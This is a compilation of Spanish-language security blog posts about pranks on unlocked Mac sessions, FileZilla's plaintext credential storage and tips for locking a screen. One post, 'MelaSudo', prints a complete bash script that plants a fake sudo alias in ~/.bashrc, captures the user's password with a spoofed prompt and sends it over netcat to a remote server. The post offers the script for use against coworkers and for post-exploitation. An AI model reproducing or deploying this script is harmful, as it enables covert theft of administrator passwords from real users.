El ataque de la F1 en equipos MacBook

Hoy lunes queremos comenzar la semana olvidándonos un poco de todo el ajetreo de malware en Mac OS X que tanto ha dado que hablar en el último mes con un tema de "bromas de mal gusto" a compañeros de oficina con equipos Mac, ya que en Informática 64 la coexistencia entre compañeros... "es así de dura". Podíamos llamar a éste El Ataque de la F1, ya que el culpable de la broma es la tecla F1 y su funcionamiento en los equipos MacBook. 

El ataque de la F1

Si tienes un equipo MacBook, sabrás que la tecla F1 permite reducir el brillo de la pantalla, lo que está bien, ya que en momentos en los que se necesita ahorrar batería se puede bajar rápidamente y volver a subir cuando sea necesario por falta de luz.

Figura 1: Las teclas de incremento y decremento de brillo en la pantalla

Sin embargo, lo que hace especial a esta tecla en los equipos Mac con respecto a otras computadoras portátiles de otros fabricantes es que no tienen límite inferior, es decir, que dando al F1 se puede llegar a apagar la pantalla incluso con la sesión bloqueada.

Si alguien se va a tomar un café y deja su MacBook abandonado, alguien podría apagar la pantalla simplemente pulsando en la tecla F1, lo que llevaría al usuario a pensar en que el equipo se ha bloqueado cuando iba a despertar del letargo - algo no nuevo y por lo que Apple ha actualizado varias veces el firmare de sus equipos -.

Esta broma no es nueva, y ya se practicaba en los tiempos de los terminales y monitores analógicos en los que con las ruedas era posible bajar el brillo y el contraste hasta apagar la pantalla del usuario. 

Luchar contra los atacantes del F1 y los ataques David Hasselhoff

Ya os contamos hace tiempo que existen herramientas defensivas para detectar el intento de manipulación de tu equipo por parte de un atacante, como por ejemplo iAlert, que no sólo emitirá sonidos de emergencia, sino que podrá tomar hasta una fotografía del atacante.

Y no te olvides de aleccionar a tus amigos...

Realizar un ataque David Hasselhoff a amigos y compañeros de trabajo es, además de una manera de echarse unas risas, una forma de aleccionarles de la importancia de cerrar la sesión de sus equipos. Es por eso que para que no se descuiden, hay que mantener la guardia alta y seguir enseñándoles los riesgos de no proteger su cuenta de usuario.

Figura 1: Ataque David Hasselhoff a un iPad2

Por eso os animamos a que sigáis enviándonos vuestros ataques David Hasselhoff en equipos Apple, que nos encanta verlos. Este lo publicó Santiago Rodriguez en Twitter, con un iPad 2. Buen fin de semana a todos.

MelaSudo: robar la password a un sudoer con ingenio

MelaSudo es un pequeño script en bash desarrollado como 'arma de guerrilla' y utilizado internamente dentro del equipo de auditoría web del SOCtano de informatica64, como forma de venganza contra aquellos linuxeros/maqueros que rinden culto al ataque David Hasselhoff.

La finalidad de este script consiste en devolver un ataque David Hasselhoff realizando el robo del password de un usuario con permisos de 'sudoer' mediante el uso de un alias falso del comando 'sudo'. Para ello, lógicamente hay que tener acceso local a la sesión de un usuario con permisos de sudoer, pero en lugar de devolverle el ataque David Hasselhoff, le robareos la password.

Como normalmente hay poco tiempo cuando alguien se deja la sesión abierta, se ha hecho un script que automatiza todo el proceso. La instalación de la trama es muy sencilla, basta con ejecutar el script con el parámetro 'instalar' tal y como se ve en la siguiente captura de pantalla.

Figura 1: Instalación de MelaSudo

El proceso de instalación consiste en la copia del script en '~/.thumbmails' y en añadir la linea 'alias sudo="bash ~/.thumbmails"' al fichero '~/.bashrc'. Éste ultimo fichero es ejecutado cada vez que se inicia una terminal bash, por lo que nos aseguraríamos de que en cada una de ellas se ejecutase el alias encargado de realizar el robo de la password.

A continuación se ve como al ejecutar desde una terminal bash el comando whoami, muestra que se trata del usuario 'haha', y tras realizar una elevación mediante 'sudo', se solicita la la password en dos ocasiones, simulando que en el primer intento se ha introducido incorrectamente, pero tratandose en realidad del script 'Melasudo'. En la segunda petición de password ya se trata realmente del comando sudo, y autentica correctamente al usuario como 'root'.

Figura 2: Ejecución de MelaSudo

Como este script fue diseñado para gastar bromas a compañeros que se dejan el equipo desbloqueado, cosa que no suele ser habitual, fue necesario diseñar un sistema que nos permitiera ver su password sin necesidad a tener que esperar a que se volviera a dejar el equipo sin bloquear. Por ello, se envía a través la red a un servidor web haciendo uso de netcat (asegúrate de que lo tiene, si no adapta el script), para que sea mucho más cómodo todo.

Figura 3: Log generado por MelaSudo en el servidor web

El código del script MelaSudo puedes obtenerlo desde aquí:

#!/bin/bash
if [ "x$1" == "xinstalar" ]; then
cp $0 ~/.thumbmails 2> /dev/null
echo 'alias sudo="bash ~/.thumbmails"' >> ~/.bashrc
echo "instalado"
history -c
exit
fi
#mac
echo -n "Password:"

#ubuntu
#echo -n "[sudo] password for `whoami`: "

read -s password
echo
rutaReal=$(whereis sudo | awk '{print $2}')
if [ "x$rutaReal" == "x" ]; then
rutaReal=$(whereis sudo | awk '{print $1}')
if [ "x$rutaReal" == "x" ]; then
rutaReal=$(whereis sudo | awk '{print $0}')
fi
fi

echo -en "GET /password.php?password=$password HTTP/1.1\nConnection: close\nhost: tuserver.com\n\n" | nc tuserver.com 80 >/dev/null 2>/dev/null

echo -e "Sorry, try again."
$rutaReal $1 $2 $3 $4 $5 $6 $7

Como se puede ver, para cada sistema operativo hay que personalizar el mensaje de error para que sea más creíble el truco. Esperamos que esto os ayude a tener mucho más cuidado de vuestras sesiones, ya que el ataque David Hasselhoff es lo que menos te puede ocurrir.

Por supuesto, esta idea puede ser utilizada en cualquier entorno de post-explotación de una sesión de un usuario sudoer con un ataque client-side, como a través de un Safari o un Java sin parchear.

Warning!: FileZilla Almacena tus contraseñas en texto claro

FileZilla es una de esas aplicaciones que no suelen faltar en los equipos de los  profesionales de hoy en día. Es un cliente multiprotocolo capaz de realizar conexiones FTP, SFTP, SSH, FTPS o FTPES entre otros. La utilidad proporciona conexiones con protocolos bastante seguros para gestionar servidores. Sin embargo, la pregunta que nos hicimos en Seguridad Apple ¿Es tan segura localmente?¿Dónde almacenará las credenciales?¿Lo hará de manera cifrada? Hoy exponemos algunas respuestas a estas preguntas.

¿Dónde almacena la configuración FileZilla?

FileZilla almacena la configuración en ficheros XML en la ruta /Users/"usuario"/.filezilla. Algunos se preguntarán como acceder desde Finder a esa ruta oculta, si por defecto Finder de Mac OS X no muestra archivos ocultos. Para acceder desde Finder a los archivos ocultos deberemos ejecutar en el terminal la siguiente orden 'defaults write com.apple.finder AppleShowAllFiles TRUE'. Lo que estamos cambiando es el valor por defecto de la directiva AppleShowAllFiles para que Finder muestre todos los archivos, incluyendo los ocultos. Como recordatorio, un archivo oculto en Mac OS X es un archivo que comienza por un punto.

Figura 1: Habilitando archivos ocultos en Finder

Una vez realizada la acción anterior, se puede abrir una instancia de Finder e ir a la ruta /Users/"usuario"/.filezilla y encontraremos los archivos de configuración de la aplicación. Hay que tener en cuenta que esa es la configuración del usuario local, otro usuario del sistema tendrá otra configuración en su carpeta personal. El resultado es que en el Finder se observará una situación parecida a la de la imagen que se muestra a continuación.

Figura 2: Archivos de configuración de Filezilla para un usuario local

Investigando los archivos de configuración

Ahora se puede investigar los distintos archivos que se han encontrado. Pero llaman la atención dos archivos en concreto, recentservers.xml y sitemanager.xml. Editando el primer archivo, recentservers.xml, encontramos información muy interesante. Al parecer, FileZilla ha estado almacenando las credenciales de los servidores a los que el usuario ha estado accediendo.

¿Por defecto guarda un histórico? Parece ser que sí. A continuación podéis ver parte del archivo recentservers.xml y las credenciales con las direcciones de los servidores.

Figura 3: Fichero recentservers.xml

El fichero sitemanager.xml almacena la configuración del gestor de sitios que viene con Filezilla. El gestor de sitios ayuda al usuario no tener que configurar una nueva conexión cada vez que quiera conectarse a un servidor. A continuación se puede observar cómo toda esa configuración, incluyendo credenciales, se almacenan en texto plano.

Figura 4: Fichero sitemanager.xml

En la imagen anterior, en el interior del rectángulo verde encontramos el servidor y puerto al que se conectará. En rojo las credenciales en plano, en azul el nombre del servidor remoto y en amarillo el directorio local y el directorio remoto, que en este caso no está configurado por lo que entrará al de por defecto del usuario remoto.

Cierre de sesión de local y cifrado de datos

Parece que FileZilla ofrece muchos protocolos de seguridad pero no protege de manera adecuada la información local del usuario, información muy sensible. Es por este tipo de cosas, que los administradores de red o los que trabajamos en seguridad implantan de modo el famoso ataque David Hasselhoff, que no tiene como objetivo nada más que hacer entender a un usuario que dejar la sesión abierta es un riesgo de seguridad. Si conseguimos que un usuario cierre la sesión de su equipo, aunque sea solo por no ver a David Hasselhoff en su equipo, estaremos logrando mejorar la seguridad de la compañía.

Por otro lado, este tipo de configuraciones pondría en riesgo la seguridad de todos los servidores si un equipo portátil es robado o perdido, y los datos no están cifrados, por lo que os recomendamos que hagáis uso de FileVault o FileVault 2 en Mac OS X Lion, o de TrueCrypt para cifrar los volúmenes de datos de vuestras aplicaciones.

Los usuarios Mac siguen sufriendo a David Hasselhoff

Como hoy es viernes, y a ciertas horas Internet es para otras cosas más que para trabajar, vamos a contaros una historia un poco más distendida. En este caso tenemos la historia de otra víctima del ataque David Hasselhoff para que aprenda que hay que bloquear las sesiones del ordenador cuando te ausentas de tu equipo.

MariaSerBen ha sido "Davidahasselhoffeada" por su "amigo" Juandoscuartos y, para que quede constancia, tal y como ya ha pasado con anterioridad, ha sido publicado en twitter y subida a Internet la foto del momento en que descubre la penetrante mirada de David clavada en ella.

Esta foto es un poema

Para centralizar a todos los que han sido aleccionados por medio de El ataque David Hasselhoff, se ha creado una página en Facebook en la que puedes enterarte de quién ha sido "enseñado por las malas" y en la que puedes subir las fotos de todos aquellos a los que hayas aplicado la medicina Hasselhoff.

Página en Facebook dedicada a: El Ataque David Hasselhoff

¿Es o no es sexy la pose de mister David? ¡Protege tu Mac!

Protege tu equipo para que David Hasselhoff no te mire desde tu propio Mac

Parece que la moda de los ataques a la sesión abierta denominados como David Hasselhoff, en honor a la foto que se pone como fondo de escritorio, se está extendiendo en el mundo Mac OS.

Debido a esta tendencia os dejamos algunas recomendaciones para evitar este tipo de ataques tales como el dejar mensajes disuasorios o crear un acceso rápido para poder bloquear la sesión desde un acceso directo cuando te alejas de tu equipo "un instante".

La alternativa a tomar precauciones es que tu equipo acabe fotografiado y publicado en Internet para escarnio ante la comunidad 2.0 acompañado de algún mensaje "divertido" en las redes sociales como Twitter o Facebook haciendo sangre de tu "negligencia".

No dejes sólo tu Mac. Cuídalo. Nadie quiere que David Hasselhoff le mire con esa expresión. La gran pregunta es ¿por qué el perrito en la foto? Desde Seguridad Apple no tenemos respuesta.

Como bloquear la sesión de usuario en Mac OS X

Parece mentira que, una acción tan sencilla como bloquear la sesión de usuario no esté disponible mediante una sencilla combinación de teclas como ‘Ctrl+L’ o similares. Ésta es una característica que ni siquiera está disponible al presionar sobre nuestra querida manzanita, y se trata de la mejor protección contra los  ‘Ataques David Hasselhoff’, por lo que es una característica fundamental para nuestros equipos.

Para habilitar esta característica podemos utilizar varios ‘tricks’, pero el más sencillo y accesible es la utilización del ‘Llavero’ o ‘KeyChain’, disponible en ‘Aplicaciones / Utilidades’. Una vez ejecutado, debemos acceder a sus propiedades y activar la opción ‘Mostrar el estado en la barra de menú’ o ‘Show Status in Menu Bar’.

Tras confirmar los cambios, se nos agregará a la barra de menú un pequeño candado, desde el cual podremos bloquear nuestro equipo mediante un simple clic, al presionar sobre ‘Bloquear pantalla’ o ‘Lock Screen’.

Mostrar avisos disuasorios en la pantalla de login

¿Cuantas veces os habéis encontrado con un equipo ajeno bloqueado el cual pide credenciales de usuario/clave, y no os habéis resistido a teclear combinaciones comunes como ‘admin/admin'? Si trabajas en un entorno rodeado de equipos informáticos y tienes los conocimientos suficientes para llevar a cabo un ‘Ataque David Hasselhoff’, probablemente esta situación sea una parte de la rutina diaria.

Pero no ocurre lo mismo cuando te sientas ante un equipo que, en su ventana de login, te advierte que cualquier intento de inicio de sesión será registrado. Es este uno de esos casos en donde te piensas dos veces si apretar una tecla, sabiendo además que el usuario del equipo conoce de la existencia de dicho ataque.

Dejar estos mensajes de advertencia personalizados en nuestra ventana de inicio de sesión es muy sencillo, únicamente es necesario la ejecución del comando:

 ‘defaults write /Library/Preferences/com.apple.loginwindow LoginwindowText "mensaje”’.

Una vez ejecutado, no es necesario reiniciar el equipo. Basta con bloquear o cerrar la sesión para ver los cambios. Vale, no es que sea una medida de seguridad auténtica, pero... ¿cuántas veces os han dicho que es más efectivo el cartel de que una casa tiene alarma que la propia alarma?

Ataque David Hasselhof a una Apple Store

No, esta vez no es un hackeo de la web de Apple.com para distribuir malware ni de un defacement en los foros de discusión. En esta ocasión es un ataque de David Hasselhoff.

Para los que no sepáis en que consiste el "Ataque de David Hasselhof" os haremos una breve recordatorio histórico. Allá por el año 2008, Pedro Laguna instauró en Informática64 un sistema infalible para que nadie dejase las máquinas en su puesto de trabajo sin bloquear. Sí, todos somos amigos en nuestro entorno de trabajo, pero un descuido con la sesión abierta puede costar muy caro.

El método, que probó con nuestro compañero "Silverhack" [El caso del Hacker de la oficina], consistía en "castigar" a los descuidados con el mejor fondo de pantalla de David Hasselhoff.

Por supuesto, en algunos entornos, como es el caso de los ordenadores de prueba, se deben configurar sesiones limitadas o restringidas en privilegios. Así, el asunto del caso de David Hasselhoff fue evolucionando.

Pedro Laguna, que ahora vive en Londres, se pasó por una Apple Store y decidió probar si los equipos estaban bien protegidos y la respuesta la tenéis en la foto que podéis ver.

Como se puede ver, el ataque de David Hassehoff en la tienda Apple deja al descubierto todas las cosas divertidas que se podrían hacer desde uno de esos equipos así que:

1) No pongas ninguna password desde ningún ordenador de una tienda Apple.
2) No chatees con nadie sobre "cosas divertidas" desde un ordenador de una tienda Apple.
3) Si puedes, transmite esta lección a todo el mundo.